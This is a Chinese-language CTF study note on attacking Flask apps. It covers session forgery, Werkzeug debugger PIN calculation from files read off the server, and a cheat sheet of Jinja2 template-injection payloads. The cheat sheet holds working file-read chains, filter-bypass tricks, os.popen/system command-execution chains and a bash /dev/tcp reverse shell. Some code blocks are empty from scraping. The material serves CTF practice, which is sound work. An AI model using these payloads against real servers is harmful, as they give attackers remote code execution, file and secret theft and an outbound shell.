flask
简介
flask 是模板注入的一种,flask 使用的是jinjia2 模板引擎
题型
session 伪造
0x00 session 结构
session_data+timestamp+hash
我们就是需要通过获取hash 然后伪造这个session 通常情况下,我们伪造的身份应该是admin 或者是root
值得注意的是timestamp+session_data 一般都是base64 编码
至于如何获取这个hash
可以通过题目来获取
0x01 例题:[HCTF 2018]admin
首先进来发现了一个界面,然后发现登录的界面和注册界面
尝试注册admin 被拒绝
尝试有可能是sql 注入,但是这里不是,就不尝试了
尝试注册
随便注册一个
登录成功,但是现在不知道有什么用
随便看看发现源码地址flask 猜测是flask session伪造
https://github.com/woadsl1234/hctf_flask/
现在貌似没有了
最后通过源码将会获得hash 也就是,然后尝试伪造,假装收集到了密钥为
ckj123
可以使用脚本进行解密
然后将name 改成admin 然后尝试访问
pin值计算
0x00 简介
pin码生成要六要素
- username 在可以任意文件读的条件下读 /etc/passwd进行猜测
- modname 默认flask.app
- appname 默认Flask
- moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
- uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
- machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了
0x01 例题:[GYCTF2020]FlaskApp
可以发现这个是base64 加解密平台
尝试将payload
进行base64 加密,然后解密的时候是否有问题
获取mac 地址
尝试获取机器码
1 |
|
但是发现这个结果不对
因为是docker 所以得访问另一个文件
1 |
|
尝试了还是不行
尝试读取源码
发现了这个地方有一个waf
有一个黑名单限制了这个东西
尝试绕过
尝试读取
1 |
|
常使用payload
执行系统命令类
类似于ls
只不过这个是python 的os
查询文件类
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %}
绕过{}和
.
和_
1
{%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}
使用unicode 进行编码
1
2{%print(''|attr('__class__'))%}
{%print(()|attr('__class__'))%}
针对不容类的payload
os._wrap_close
rce
1 |
|
os
rce
1
2
3
4
5
6
7
8
9
10
11
12
13''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
# eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()反弹shell
1
2''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/地址/端口 0>&1').read()
如果遇到这个不能执行,就使用bp 因为& 会导致出错,也可以尝试使用
\